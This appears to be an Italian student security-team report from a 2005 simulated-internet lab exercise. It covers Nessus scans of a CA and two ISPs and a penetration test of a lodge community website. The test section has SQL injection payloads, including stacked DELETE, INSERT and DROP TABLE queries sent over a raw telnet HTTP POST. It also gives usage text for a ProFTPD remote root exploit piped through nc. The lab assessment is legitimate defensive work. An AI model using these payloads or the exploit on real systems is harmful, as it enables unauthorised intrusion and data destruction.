Figura 6: Lista dei certificati validi rilasciati dalla CA

In seguito al rilascio del certificato sono inviate all’utente che l’aveva richiesto due

mail: una contenente un messaggio che comunica il rilascio del certificato e come

recuperarlo ed un’altra che contiene il pin per la richiesta di revoca da parte

dell’utente. To: [email protected] From: [email protected] Subject: OpenCA Certificate information Message-Id: <[email protected]> Date: Fri, 15 Jul 2005 11:02:47 +0200 (CEST) Dear Customer, your certificate with the serial number 27 and the DN serialNumber=27,CN=Maurizio Cembalo,OU=Internet,O=SR2CA,C=IT was generated. You can download it now from our server at the URI: https://sr2ca.org:443 Please use the serial number. You can either follow the proposed link to import the certificate directly from the server (no action required from you):



https://sr2ca.org:443/cgi-bin/pub/pki?cmd=getcert&key=27&type=CERTIFICATE Please, import the CA certificate (or the PKI chain) from our server to check the correctness of your certificate: https://sr2ca.org:443/pub Please remember to keep at least one safe backup of your private key: if you'll lose it you'll not be able to read the crypted messages you received so far. Sincerily Yours, SR2CA Security Staff.

La CA inoltre ha creato una “sezione software” con lo scopo di offrire agli utenti le

informazioni raccolte sui generatori di chiave e password casuali. Inoltre il gruppo ha

prodotto una propria libreria che consente di:

• generare una chiave di sessione per la cifratura simmetrica;

• cifrare un file con TripleDES in modalità CBC;

• generare la coppia di chiavi privata e pubblica per RSA;

• criptare file con RSA;

• firmare un file attraverso la combinazione di SHA-1 ed RSA.

Figura 7: Sezione software del gruppo CA



Analisi del sistema effettuata con Nessus Il portscanning effettuato sulla macchina coinvolge tutte le porte e i servizi, mentre

alcune famiglie di plugin utilizzate per il check delle vulnerabilità sono:

• Suse Local Security Checks

• Backdoors

• Denial of Service

• Firewalls

• Gain a shell/root remotely

• RPC

La tecnica di scanning TCP scelta è quella basata sulla connect() (vedi appendice B).

Sono stati utilizzati pacchetti frammentati per oltrepassare l’eventuale firewall e la

politica utilizzata per il timing dell’invio dei pacchetti è stato di tipo insane. Un timing di

tipo insane ha un alto rischio di essere scoperto ma si è reso necessario per

velocizzare le operazioni di testing di per sé gia lunghe a causa dell’hardware limitato.

Falle di sicurezza riscontrate con nessus

Le seguenti tabelle forniscono un sunto dei problemi riscontrati sull’host oggetto

dell’analisi:

Dettagli sullo scanning Host che risultano raggiungibili durante il test 1 Numero di security hole trovati 1 Numero di security warnings trovati 3

Lista degli host Host Problemi possibili 193.205.161.176 Security hole(s) trovati

Analisi dell’host Indirizzo dell’host Porta/Servizio Problemi relativi 193.205.161.176 http (80/tcp) Security warning(s) trovati 193.205.161.176 https (443/tcp) Security warning(s) trovati 193.205.161.176 general/tcp Security notes trovati 193.205.161.176 general/udp Security notes trovati 193.205.161.176 discard (9/udp) Security hole trovato



Le vulnerabilità riscontrata di maggior rilievo è la seguente:

Tipologia Vulnerabilità Porta discard (9/udp) Problema E’ possibile effettuare un reboot remoto del router Ascend inviandogli

un pacchetto UDP contenente dati speciali sulla porta 9 (discard) Un attaccante potrebbe usare questo difetto per far crashare il router continuamente impossibilitando il network a lavorare propriamente.

Soluzione Filtra il traffico UDP in entrata sulla porta 9.

Fattore di rischio Alto CVE CVE-1999-0060 Giudizio del CERT Tale vulnerabilta viene ritenuta un falso-positivo presumendo

l’assenza di router Ascend sulla rete. Tale supposizione è da verificare ma si consiglia il controllo della porta 9/udp.

Falle di sicurezza nelle procedure utilizzate

Le procedure proposte sono risultate solide, affidabili e facilmente usufruibili da parte di un utente non esperto grazie alle guide fornite. Non è stato possibile testare l’applicativo prodotto dalla CA perché rilasciato negli ultimi giorni utile per la simulazione da parte del gruppo. Interazioni con il gruppo CERT Diverse problematiche relative alle politiche di firewalling e le modalità di

aggiornamento di software particolari, quali openSSL, sono state risolte egregiamente

grazie alla collaborazione tra i gruppi.

E’ stato consigliato al gruppo CA di valutare l’aggiornamento di OpenCa alla versione

0.9.2.2.



2.2 ISP1 – Internet Service Provider 1 In seguito all’intervista dei componenti del gruppo ISP1 e l’analisi conoscitiva

attraverso Nessus, è emerso che il software installato è il seguente:

Software rilevato da intervista Software rilevato attraverso Nessus • Sistema operativo

utilizzato:Mandrake 10.0

• Bind 9.3.0

• Webmin 1.190

• Apache 2.0.48

• Tomcat 5

• Java 1.4

• Swhoisd 3.0.5

• OpenSSL/0.9.7g

• Sistema operativo

utilizzato:Mandrake

• Apache-

AdvancedExtranetServer

2.0.48 (Mandrake

Linux/5mdk)

• mod_perl/1.99_11

• Perl/v5.8.3

• mod_ssl/2.0.48

• OpenSSL/0.9.7c

• PHP/4.34

La discrepanza delle versioni di OpenSSL deriva dal fatto di non avere

ricompilato Apache con la nuova versione di OpenSSL. Conseguenza: il

sistema utilizza la versione 0.9.7g mentre Apache la versione 0.9.7c. Descrizione delle procedure di erogazione dei servizi Il gruppo ha sviluppato e pubblicato un sito che permette la fornitura di nomi di

dominio all’interno della rete. Un’interfaccia user-friendly provvede a descrivere i

servizi offerti agli utenti registrati. In seguito alla registrazione di un utente, questo

può richiedere, se libero, l’assegnazione di un dominio.

E’ compito dell’amministratore del sito rilasciare un dominio e abilitare gli utenti alle

richieste.



Figura 8: Richiesta di un nome di dominio libero

Figura 9: Richiesta memorizzata nel sistema e in corso di valutazione



Le comunicazioni di registrazione e rilascio del dominio avvengono tramite email:



• Mandrake Local Security Checks


• Firewalls


• Settings

• Service Detection

La tecnica di scanning TCP scelta è quella basata sul NULL Scan (vedi appendice B).

From: [email protected] To: [email protected] Subject: Comunicazione attivazione account su ISP1Group Date: Tue, 12 Jul 2005 02:01:39 -0700 (PDT) Gentile Sig.Maurizio Cembalo La informiamo che da questo momento può effettuare le operazioni di registrazione di domini sul nostro sito web. Distinti saluti ISP1 Group ----------------------------------------------------------- From: [email protected] To: [email protected] Subject: Comunicazione attivazione dominio su ISP1Group Date: Tue, 12 Jul 2005 07:19:05 -0700 (PDT) Gentile Sig.Maurizio Cembalo, La informiamo che il dominio maucem.org del quale è stato nominato responsabile dall'utente Maurizio Cembalo è stato attivato. Distinti saluti ISP1 Group







Falle di sicurezza riscontrate con nessus Le seguenti tabelle forniscono un sunto dei problemi riscontrati sull’host oggetto

dell’analisi:

Dettagli sullo scanning Host che risultano raggiungibili durante il test 1 Numero di security hole trovati 8 Numero di security warnings trovati 14


Analisi dell’host Indirizzo dell’host Porta/Servizio Problemi relativi 193.205.161.170 http (80/tcp) Security hole found 193.205.161.170 https (443/tcp) Security hole found 193.205.161.170 http-proxy (8080/tcp) Security warning(s) found 193.205.161.170 domain (53/udp) Security hole found 193.205.161.170 general/tcp Security warning(s) found 193.205.161.170 general/udp Security hole found

Le vulnerabilità riscontrate di maggior rilievo sono le seguenti:

Tipologia Vulnerability Porta https (443/tcp) Problema L’host remoto stà usando una versione di OpenSSL più vecchia della

0.9.6m o della 0.9.7d. Esistono diversi bug in questa versione di OpenSSL che possono permettere ad un attancante di causare denial of service contro l’host remoto.

Soluzione Aggiornare alla versione 0.9.7g

Fattore di rischio Alto CVE CAN-2004-0079, CAN-2004-0081, CAN-2004-0112 Giudizio del CERT Si consiglia l’aggiornamento



Tipologia Vulnerability Porta domain (53/udp) Problema Il server remoto BIND, in base alla versione, ha un difetto nel modo

in cui è stato implementato il metodo ‘authvalidator()’. Un attaccante potrebbe essere abilitato ad eseguire un attacco di tipo Denial of service contro il servizio remoto.

Soluzione Aggiornare bind alla versione 9.3.1 Fattore di rischio Alto CVE CAN-2005-034 Giudizio del CERT Si consiglia l’aggiornamento

Falle di sicurezza nelle procedure utilizzate Le procedure proposte sono risultate solide, affidabili e facilmente usufruibili da parte

di un utente non esperto grazie all’organizzazione ben fatta dei menu e dei messaggi

informativi. All’interno del sito le sessioni sono debitamente protette grazie all’uso di SSL.

Interazioni con il gruppo CERT La collaborazione con il gruppo CERT è stata proficua e ha permesso di testare in

tempo reale molte delle configurazioni realizzate da parte del gruppo.

E’ stato consigliato al gruppo ISP1 di valutare l’installazione o l’aggiornamento dei

seguenti software:

• Mod_ssl;

• Apache 2.0.54 o apache 1.3.33;

• Compilare apache con l’ultima versione di openSSL installata;

• Aggiornare Bind alla versione 9.3.1.



2.3 ISP2 – Internet Service Provider 2 In seguito all’intervista dei componenti del gruppo ISP2 e l’analisi conoscitiva

attraverso Nessus, è emerso che il software installato è il seguente:

Software rilevato da intervista Software rilevato attraverso Nessus • Sistema operativo: Scientific

Linux 3.0.4

• Apache 2.0.46

• OpenSSL 0.9.7a

• Mod_ssl

• MySql 3.23.58

• PHP 4.3.2

• ProFtpd 1.2.10

• SurgeMail

• WebMin 1.200

• Sistema operativo: Linux

• SquirrelMail 1.4.3a-9.EL3

• phpMyAdmin 2.6.2-pl1

• Apache/2.0.46

• PHP 4.3.2

• ProFtpd 1.2.10

Descrizione delle procedure di erogazione dei servizi Nessuna procedura automatica di fornitura servizi è disponibile. Eventuali richieste di

siti, spazio web e database devono avvenire contattando il gruppo tramite email o

attraverso contatti diretti.



• Local Security Checks


• Misc




• Settings

• Service Detection

La tecnica di scanning TCP scelta è quella basata sulla connect() (vedi appendice B).





Falle di sicurezza riscontrate con nessus

Dettagli sullo scannino Host che risultano raggiungibili durante il test 1 Numero di security hole trovati 3 Numero di security warnings trovati 9


Analisi dell’host Indirizzo dell’host Porta/Servizio Problemi relativi 193.205.161.177 ftp (21/tcp) Security warning(s) found 193.205.161.177 domain (53/tcp) Security warning(s) found 193.205.161.177 http (80/tcp) Security hole found 193.205.161.177 pop3 (110/tcp) Security notes found 193.205.161.177 imap (143/tcp) Security notes found 193.205.161.177 https (443/tcp) Security warning(s) found 193.205.161.177 general/tcp Security hole found 193.205.161.177 general/udp Security hole found

Le vulnerabilità riscontrate di maggior rilievo sono le seguenti:

Tipologia Vulnerabilità Porta general/tcp Problema E’ possibile far crashare sia l’host remoto che il firewall nel mezzo

inviando un pacchetto UDP alla porta 0. Questo difetto permetterebbe ad un attaccante di rendere la rete down.

Soluzione Filtrare il traffico UDP entrante diretto alla porta 0. Fattore di rischio Alto



CVE CVE-1999-0675 Giudizio del CERT

Tipologia Vulnerabilità Porta general/udp Problema E’ possibile by-passare le regole del firewall remoto inviando

pacchetti UDP che hanno come origine la porta 53. Un attaccante potrebbe usare questo difetto per iniettare pacchetti UDP all’host remoto. An attacker may use this flaw to inject UDP packets to the remote hosts, nonostante la presenza di un firewall.

Soluzione Rivedere le politiche del firewall Fattore di rischio Alto BID 7436, 11237 Giudizio del CERT

Tipologia Warning Porta domain (53/tcp) Problema Il name server remoto permette query ricorsive eseguibili dagli host

che hanno in esecuzione il demone nessusd. Se questo host è il nameserver della rete, ignorare questo warning. Se state sondando un nameserver remoto, allora questa concessione permetterebbe a chiunque lo usi di risolvere i nomi di terzi. Questo permetterebbe ad un attaccante di effettuare un attacco di tipo DNS cache poisoning.

Soluzione Limitare le query ricorsive all’host che debba utilizzare questo nameserver.

Fattore di rischio Alto CVE CVE-1999-0024 Giudizio del CERT Dettagliare la necessita di questa porta aperta

Falle di sicurezza nelle procedure utilizzate

Il gruppo non ha proposto nessuna procedura automatica per la gestione delle richieste, per cui non è possibile nessuna analisi.

Note



Essendo l’ISP2 un fornitore di servizi web, i componenti del gruppo hanno sviluppato

due siti demo:

• Home banking: un sistema di e-banking semplificato;

• EPress: un sistema di monitoraggio delle consegne per un corriere espresso.

Dei due siti solamente l’EPress risulta disponibile e fruibile agli utenti; non è possibile

nessuna interazione con il sito di home banking non essendo stato pubblicato dal

provider; pertanto non è stato possibile provvedere all’analisi del sistema bancario

proposto dal gruppo.

Di tutto altro avviso per il sito dell’EPress che risulta ben fatto, presentando notevoli

controlli per la sicurezza del fruitore anche se a scapito dell’usabilità. Infatti come

login viene utilizzato il codice fiscale che è molto meno comoda di una semplice

parola quale ad esempio il nome utente.

Figura 10: Registrazione di un utente sul sito EPress

Il gruppo inoltre offre il servizio di mailing attraverso il server smtp surgemail.



Figura 11: Pagina iniziale della webmail



3 Terzo stadio: le commesse Diverse commesse sono state presentate ai gruppi della simulazione, l’unica che ha

coinvolto il gruppo CERT è stata quella riguardante la community per la loggia

massonica P2.1. Segue la descrizione della commessa, con l’analisi dei risultati degli

altri gruppi interessati.

3.1 Descrizione La loggia massonica P2.1 chiede la realizzazione di una web community in cui i

partecipanti, una volta effettuato il login possono accedere ad un area riservata.

Naturalmente possono fare login solo gli utenti precedentemente registrati.

Il procedimento di registrazione da implementare è il seguente:

1. Richiesta di iscrizione (due possibilità):

a) l'amministratore può iscrivere d'ufficio un utente

b) un utente registrato, una volta entrato, può accedere ad un menù che gli

consente di registrare un nuovo utente

2. Convalida dell'utente:

a) appena completata la richiesta, il sistema manda una mail al nuovo

candidato che dovrà rinviarla per confermare l'iscrizione

3. Rimozione dell'utente:

a) un utente può essere rimosso dall'amministratore o dall'utente che lo ha

registrato

b) la rimozione di un utente comporta la rimozione di tutti gli utenti che ha

registrato

la fase di login e le transazione degli utenti nell'area riservata devono svolgersi in

maniera protetta.

Un componente del gruppo ISP2 sarà l'amministratore e dovrà iscrivere un certo

numero di utenti indicati dal gruppo CERT.

Il gruppo CERT dovrà simulare l'utenza (anche la mala-utenza) e documentare la



sicurezza del sistema (anche muovendo attacchi).

Il gruppo CA dovrà fornire gli strumenti necessari alla realizzazione delle connessioni

sicure ed alla generazione/invio di eventuali chiavi, password, certificati etc. via mail.

3.2 Soluzione proposta Come già anticipato nella traccia della commessa il compito del gruppo CERT era

quello di simulare una normale sessione d’utenza, sul sito commissionato da Loggia

Massonica, e di tentare una sessione di mala-utenza cercando di evidenziare

eventuali problemi di malfunzionamento, eventuali controlli mancati o carenze nella

sicurezza della sezione riservata all’utenza standard e a quella riservata

all’amministrazione del sito.

Nella fattispecie ci siamo impegnati nel cercare di evidenziare prima di tutto i problemi

di cattiva gestione delle politiche di autenticazione successivamente abbiamo tentato

attacchi di tipo ftp, sql iniection e solo per problemi di tempi non è stato possibile

portare attacchi di tipo DoS al fine di non limitare l’utilizzo della macchina già precario,

a causa di limitate risorse hardware, durante il normale funzionamento.

3.2.1 Lavoro compiuto

E’ stato chiesto all’amministratore del sito della loggia massonica di registrare l’utente

maucem. Successivamente alla registrazione è stata effettuata una sessione

d’utenza con la creazioni di tre utenti di cui il primo andima, il secondo domgio ed il

terzo ancora domgio (fraudolenta). Siamo poi passati alla cancellazione e

reinserimento di altri utenti per testare il sistema. Successivamente si è tentata di

effettuare una sessione di amministrazione. Fatte tutte le prove e le considerazioni

del caso nella navigazione del sito e nella fruizione dei servizi siamo passati allo

studio delle tecnologie utilizzate per tentare diversi tipi di attacco. Siamo passati da

tentativi di sql injection su php ad ftp exploit su proftpd ad accessi telnet non

autorizzati o che in teoria non dovevano essere consentiti.

Purtroppo la maggior parte dei problemi di sicurezza non legati alla commessa erano

stati risolti dopo l’ultima fase in cui il gruppo CERT aveva comunicato problemi e



carenze a tutti i gruppi quindi ci siamo concentrati su attacchi post-commessa.

L’unico gruppo coinvolto nella commessa oltre al gruppo ISP2 era il gruppo CA a cui

è stato chiesto di emettere alcuni certificati e che senza problemi ha sopperito in

tempi brevi alla richiesta.

Figura 12: Richiesta di un certificato alla CA

3.2.2 Analisi del sito proposto

Come mostrato di seguito negli screen-shot il primo passo effettuato è stato quello di

effettuare una normale sessione di utenza sul sito www.loggiamassonica.edu.

Inizialmente è stata richiesta la registrazione di un utente, maucem, e

successivamente si è proceduto come suddetto alla creazione di tre utenti: andima,

domgio e di nuovo domgio. Seguono una serie di screen-shot esplicativi:



Figura 13: Inserimento del primo utente: andima

Figura 14: Inserimento del secondo utente: domgio



Figura 15: Inserimento del terzo utente: di nuovo domgio

Il sistema non ha dato nessun errore nel registrare due utenti con la stessa username,

fatto sta che comunque, poi, in fase di login uno solo dei due utenti rimaneva

accessibile: il primo ad essere registrato. Tuttavia se si provvede a cancellare uno

qualsiasi degli utenti con l’username uguale a quelle assegnate ad altri utenti, il

sistema provvede a cancellare tutti gli utenti con quella username.

Sempre riguardo alla procedura di iscrizione non è prevista nessun invio di email

all’utente registratosi affinché questi confermi l’iscrizione.

Degna di nota è la mancata possibilità di effettuare il logout e cosa ancora peggiore la

sessione non è sicura in quanto non viene utilizzato SSL pur essendo installato sulla

macchina ISP2. In pratica la situazione utenti a fine sessione era:

Maurizio Cembalo - maucem

Antonio Di Matteo – andima Domenico Giordano – domgio Domenico Giordano – domgio (fraudolento)



Il problema maggiore riscontrato sul sito di loggia massonica è la totale mancanza di

controlli per l’entrata nell’area amministrativa: basta semplicemente inserire nel

browser il link della sezione amministrativa

( http://www.loggiamassonica.edu/login_amm.html ) per avere effettivamente accesso

all’area in teoria riservata.

Questo evidenzia come sia stato omesso qualunque controllo sia nella fase di entrata

nell’area amministrativa che nel passaggio agli step successivi per la modifica,

creazione o cancellazione di un utente. Vi erano diverse alternative per ovviare al

problema tra cui una buona gestione delle sessioni utente o il passaggio di parametri

tramite url string nessuno delle quali è stata presa in considerazione per quanto

concerne la parte amministrativa.

Infatti, in seguito al primo rilascio del sito ed una prima analisi, il CERT ha provveduto

ad informare il gruppo ISP2 che il sito soffriva di questo problema ed era stato

consigliato l’uso delle sessioni.

Nella seconda versione rilasciata le sessioni venivano utilizzate, ma non

correttamente: le sessioni vengono create all’atto, figura seguente, del login ma le

pagine “protette” non effettuano nessun controllo permettendo l’esecuzione di tutte le

operazioni riservate all’amministratore, nessuna esclusa.

Figura 16: Utilizzo delle sessioni all’interno del sito



L’accesso alla sezione amministrativa consente tutte le operazioni riservate

all’amministratore, nessuno esclusa: in pratica chiunque può fare il bello ed il cattivo

tempo senza alcuna limitazione.

Figura 17: Accesso al sito web lato amministratore

Figura 18: Operazione Modifica Utente - 1



Figura 19: Operazione Modifica Utente - 2

Un altro problema che affligge il sito è la modifica dei dati degli utenti. Infatti in seguito

alla modifica di uno qualsiasi dei campi, il sistema mostra il buon esito dell’operazione,

ma l’account risulta inesistente quando si prova ad effettuare il login. Accedendo

all’area di amministrazione è possibile notare che l’account è ancora presente;

provando a reinserire i dati originali, quelli antecedenti la modifica, questo tornerà in

uno stato valido.

Un’ipotesi plausibile a quanto riscontrato è che il gruppo abbia deciso di mantenere i

dati concernenti gli utenti in tabelle separate senza però provvedere

all’aggiornamento congiunto delle stesse in fase di modifica dei dati. Questo

sconsiderato comportamento, se risultasse veritiera l’ipotesi, porterebbe ad un

mancato matching dei dati nel caso in cui la query, responsabile del controllo della

validità degli account utente, fosse effettuata sulla tabella sbagliata o peggio su

entrambe le tabelle.

Inoltre nella pagina adibita alla modifica dei dati la password compare cifrata, forse

inutilmente ma, cosa più grave, non appare bloccata l’username e sarebbe quindi

possibile modificarlo rendendo inconsistente l’applicazione.

Quello che, invece, ci ha positivamente impressionato è stata la presunta gestione di



bug che di solito affliggono i siti dinamici realizzati in php. In particolare abbiamo

tentato attacchi di tipo sql injection sulle form di login; questi hanno dato esito

negativo quasi in tutti i casi il che fa pensare ad una buona scrittura delle query

piuttosto che a controlli ad hoc fatti sulla pagina tramite javascript.

Per Sql injection si intende la forzatura di query sul database del sito vittima.

Di solito si cerca di giocare su errori di quoting degli apici nelle form per il login in

modo da forzare a true il risultato della query.

Ad esempio, supponiamo che il codice SQL all’interno degli script del sito sia il

seguente: SELECT fieldlist FROM Utenti WHERE login = '$LOGIN';

Dove $LOGIN è la login sottomessa dall’utente attraverso il form.

Inserendo come login maucem' – notare l’apice alla fine – l’SQL costruito sarebbe: SELECT fieldlist FROM Utenti WHERE login = 'maucem'';

In questo modo i dati che inseriamo nel form possono cambiare la natura

dell’intenzioni originali dell’SQL. Inserendo anything' OR 'x'='x, l’SQL risultante

sarebbe: SELECT fieldlist FROM Utenti WHERE login = 'anything' OR 'x'='x';

La clausola 'x'='x‘ è sempre garantita risultare true alterando l’esecuzione della

query.

In realtà è anche possibile eseguire un ulteriore query condensandola nella query di

selezione: SELECT * FROM Utenti WHERE login = 'x'; DROP TABLE utenti; --';

Una prima problematica che si è dovuto affrontare, per poter eseguire l’sql injection, è

stata la limitazione dei caratteri sui campi del form. Tale impostazione limitava il



numero di caratteri sott'omissibili ad otto. Essendo il controllo solamente lato-client è

stato possibile by-passare il controllo utilizzando telnet.

Infatti con un adeguata conoscenza del protocollo http, si è iniziato a dialogare con il

server web di ISP2 permettendo di eliminare la limitazione suddetta.

Seguono una serie di tentativi effettuati tramite una sessione telnet:

root@cert::/home/maucem$ telnet 193.205.161.177 80 Trying 193.205.161.177... Connected to 193.205.161.177. Escape character is '^]'. POST /login_utente.php HTTP/1.1 Host: www.loggiamassonica.edu Keep-Alive: 300 Connection: keep-alive Referer: http://www.loggiamassonica.edu/ Content-Type: application/x-www-form-urlencoded Content-Length: 119 login=maucem';insert into utenti (login,password,cod_fisc)

values(“marros',‘marros12',‘aaabbb12a12a123b'); --&password=x

Altri esempi di query provate:

login=m'';DELETE+FROM+utenti+WHERE+cod_fisc=aaaaaaaaaaaaaaaa;-&password=x

login=m';DELETE FROM utenti WHERE cod_fisc=aaaaaaaaaaaaaaaa;--

&password=x login=m%5c%27%27%3bDELETE+FROM+%60utenti%60+WHERE+%60cod_fisc%6

0=%22aaaaaaaaaaaaaaaa%22%3b%2d%2d&password=x login=m%5c%27%3bDELETE+FROM+utenti+WHERE+login=andima%3b+%2d%2d

&password=x login=andima'+AND+UPDATE+utenti+SET+nome=mmm+WHERE+cod_fisc=aaa

aaaaaaaaaaaaa&password=andima12 login=m%60%3binsert+into+utenti+%28login%2epassword%2enome%29+V

ALUES+%28%22aaaaaaaa%22%2e%22bbbbbbbb%22%2e%22cccccccc%2%29%3b+%2d%2d

login=m';DROP+TABLE+andima;--&password=x



Successivamente siamo passati ad analizzare altre vulnerabilità di cui era affetto il

sito o meglio la versione del server ftp utilizzato. Trovata la versione con un semplice

comando: # telnet 193.205.161.177 21 Trying 193.205.161.177... Connected to 193.205.161.177. Escape character is '^]'. 220 ProFTPD 1.2.10 Server (ProFTPD Default Installation) [193.205.161.177]

Siamo passati all’analisi della vulnerabilità e dopo non poche ricerche abbiamo

trovato un exploit che probabilmente faceva al caso nostro.

Sul sito di Security Focus abbiamo invece trovato il tanto bramato exploit chiamato

SDI anonymous remote exploit for proftpd riportato all’interno dell’allegato C.

Questo exploit utilizza un errore di buffer overflow sulla funzione log_xfer(), utilizzata

all’interno di ProFTPD, che permette di ottenere una shell con privilegi di root o

recuperare qualunque appartenenti alle directory di download indipendentemente dai

privilegi su queste ultime.

L’exploit è di semplice utilizzo basta compilarlo e seguire le seguenti istruzioni per i

paramentri: Uso : SDIpro -p <your ip> [-f <file>] [-a <align>] [-o <offset>] where <your ip> is your ip separated with commas (127,0,0,1) <file> is the remote file to download Example: (./SDIpro -p 27,1,1,4 -a 2;cat) | nc www.victim.com 21

Non siamo riusciti ad ottenere una shell di root bensì a recuperare dall’host remoto la

pagina statica info.php.html che fornisce utili informazioni sul server web sul quale è

in esecuzione php, quindi sul server dell’ISP2.



Figura 20: La pagina info.php.html

Ci sono numerosi altri attacchi che, come su menzionato, non è stato possibile

portare a termine per non rallentare eccessivamente le già lente macchine degli altri

gruppi ciò non toglie però che ci siamo documentati ed avevamo armi affilate alla

mano. Nell’allegato C è presente il codice di altri exploit che abbiamo testato con

macchine non appartenenti alla simulazione e che hanno dato discreti risultati. Non

sempre questi programmi sono di semplice configurazione, a volte è addirittura

impensabile metterci mano specialmente quando utilizzano librerie esterne.

Il nostro giudizio sulla simulazione della rete Internet può dirsi più che soddisfacente.

Tutti i gruppi hanno apportato le modifiche suggerite dal CERT valutando sempre i

pro e i contro dell’aggiornamento.



Segue un giudizio, a nostra discrezione, sui gruppi coinvolti:

CA ISP1 ISP2

Configurazione sistema 4 4 5

Procedure erogazione servizi 4 5 1

Software prodotto 4 - 2 1 = Insufficiente; 2 = Scarso; 3 = Discreto; 4 = Buono; 5 = Ottimo;

La CA ha portato a termine i propri compiti egregiamente, con costanza ed impegno.

La configurazione del sistema è stata realizzata bene così come la definizione delle

procedure per l’erogazione dei servizi. Il gruppo CA ha inoltre creato una libreria di

procedure crittografiche.

Il gruppo ISP1 ha ottemperato alla configurazione del sistema in modo ottimale,

anche considerando i problemi hardware di cui sono stati afflitti. Il sito prodotto per

l’erogazione dei servizi è, a nostro giudizio, il migliore della simulazione. Semplice,

usabile e protetto. L’utilizzo di SSL permette di proteggere le sessioni da eventuali

sniffing e l’abilitazione degli utenti, solo dopo valutazione, si reputa efficace. Le

comunicazioni con gli utenti tramite email rendono professionale il servizio. Il gruppo

ISP1 non ha prodotto nessun software se non il sito per l’erogazione dei servizi, per

questo non è valutabile nella categoria “Software prodotto”.

Il gruppo ISP2 ha eseguito un’eccellente configurazione del sistema. Configurare il

sistema per fornire un web server, con database mysql, php, ssl, ftp e servizi di

mailing smtp, pop3 e imap ha richiesto notevoli sforzi considerando anche l’hardware

fornitogli. La configurazione software estrema ha richiesto notevoli capacità tecniche

e organizzative per portare a termine il lavoro correttamente.

Purtroppo il gruppo non offre nessuno strumento automatico per le richieste di servizi;

sarebbe stata sufficiente anche solo una pagina con un form sarebbe stata sufficiente,

ma non è stata realizzata.

Non riteniamo corretto assegnare una valutazione positiva al software prodotto dal



gruppo ISP2 date le gravi falle progettuali in termini di sicurezza.

Ci sono stati di notevole aiuto il testo SQLInjectionWhitePaper della SPI Labs

recuperato dalla rete ed i numerosi siti ufficiali e meno ufficiali dove non sempre è

semplice o immediato trovare quel che si cerca. Il consiglio che ci sentiamo di dare a

chi volesse entrare nel mondo della sicurezza è, oltre a quello di frequentare

assiduamente i siti d’obbligo più volte menzionati e quello di aggiornare

continuamente i prodotti atti alla verifica della sicurezza dei proprio sistemi, nonché a

politiche di sicurezza legate alla frequente sostituzione delle password, di frequentare

faq e newsgroup che, a nostro parere, sono le migliori fonti da cui attingere certe

informazioni.



4 Bibliografia • Chris McNab, Network Security Assessment, O'Reilly, March 2004;

• Chris Hare, Karanjit Siyan, Internet Firewalls and Network Security (Second

Edition), New Riders Publishing, 1996;

• James Stanger, Patrick T. Lane, Hack Proofing Linux: A Guide to Open Source

Security, Syngress Publishing Inc., 2001;

• Eric Maiwald, Network Security: A Beginner's Guide, McGrawHill, 2001;

• Michael D. Bauer, Linux Server Security, 2nd Edition, O'Reilly, 2005;

• David Cantrell, Logan Johnson, Chris Lumens, Slackware Linux Essentials,

http://www.slackware.org;

• Chaim Linhart, Amit Klein, Ronen Heled, Steve Orrin, Http Request Smuggling,

A whitepaper from Watchfire;

• Simone Piccardi, Introduzione agli Intrusion Detection System,

http://www.truelite.it;

• Valerio Genovese, Marco Balduzzi, Intrusion Detection System: stato dell'arte

e ricerca; HackMeeting 2004 Genova;

• SPI Labs Secura, Protect, inspect, SQL Injection; http://www.spilabs.com;

Siti Web

• http://www.securityfocus.com/ - Informazioni sempre aggiornate sulla

sicurezza;

• http://www.cert.org – Sito ufficiale del gruppo CERT internazionale

• http://www.frsirt.com/ – Informazioni su exploit e bug;

• http://www.cs.tut.fi/~rammer/aide.html - Sito ufficiale dell’IDS AIDE;

• http://www.sikurezza.org – Mailing list italiana sulla sicurezza informatica;

• http://www.insecure.org – Sito ufficiale del portscanner Nmap;

• http://www.ethereal.com – Sito ufficiale del packet sniffer Ethereal;

• http://www.nessus.org - Sito ufficiale dello scanner di vulnerabilità Nessus



• http://cve.mitre.org/ - Raccolta dei bug noti su software applicativi;

• http://www.slackware.com – Sito ufficiale della distribuzione Slackware Linux;

• http://www.pcflank.com – Consente l’analisi remote di host;

• http://www.undergroundmac.com – Informazioni su exploit e bug;

• http://infosecdaily.net – News e alerts sulla sicurezza informatica;

• http://www.ondaquadra.org/txt/ - Tutorial riguardante pratiche di hacking;

• http://www.cotse.com/dos.htm - Exploit ed informazioni per attacchi DoS;

• http://www.net-security.org - News e alerts sulla sicurezza informatica;

• http://www.safemode.org - Tutorial riguardante pratiche di hacking;

• http://secunia.com - News e alerts sulla sicurezza informatica;

• http://www.tripwire.org – Sito ufficiale dell’IDS TripWire;

• http://www.lids.org – Sito uficiale dell’IDS LIDS;

• http://www.fbunet.de/aide.shtml - Confronto tra Aide e Tripwire;



Appendice A – Il firewall

#! /bin/sh ## ## # Firewall for the CERT HOST # # Author: maucem # # Version=0.6.011 # # 25/05/05 # ## ## ################################################################ # C O N F I G U R A Z I O N E ############# LOGGING ################# LOGGING=1 # Abilita il logging TCPFLAGSLOG=1 # Abilita il logging del canale TCP_FLAGS CLOSEPORTLOG=1 # Abilita il logging degli accessi alle porte # chiuse tramite TCP_CLOSE_PORT e UDP_CLOSE_PORT LOGLEVEL=info # Loglevel ############# Configurazione del fs PROC ################## ECHO_IGNORE=0 # Abilitare se vuoi ignorare automaticamente # gli ICMP echo requests (ipV4) SYN_PROT=1 # Abilitare se vuoi la protezione synflood # attraverso /proc/.../tcp_syncookies LOG_MARTIANS=1 # Abilitare se vuoi loggare i pacchetti con # indirizzi impossibili in /var/log/messages ICMP_REDIRECT=0 # Abilitare se vuoi accettare gli ICMP redirect # messages ("0" in caso di router) HIGHER_CONNTRACK=1 # Abilitare se vuoi settare al massimo il valore # di ip_conntrack LOOSE_UDP_PATCH=0 # Occorre nel caso in cui tu voglia giocare in # rete. Sistema non sicuro se abilitato REDUCE_DOS_ABILITY=1 # Riduzione degli attacchi DOS ############ Servizi UTILIZZATI ################## USE_SSH1=0 # 1 se utilizzi il "vero" SSH1 USE_OPENSSH=1 # 1 se utilizzi OpenSSH # Inserire in SOURCE_TCP_PORT # Quali servizi usi?



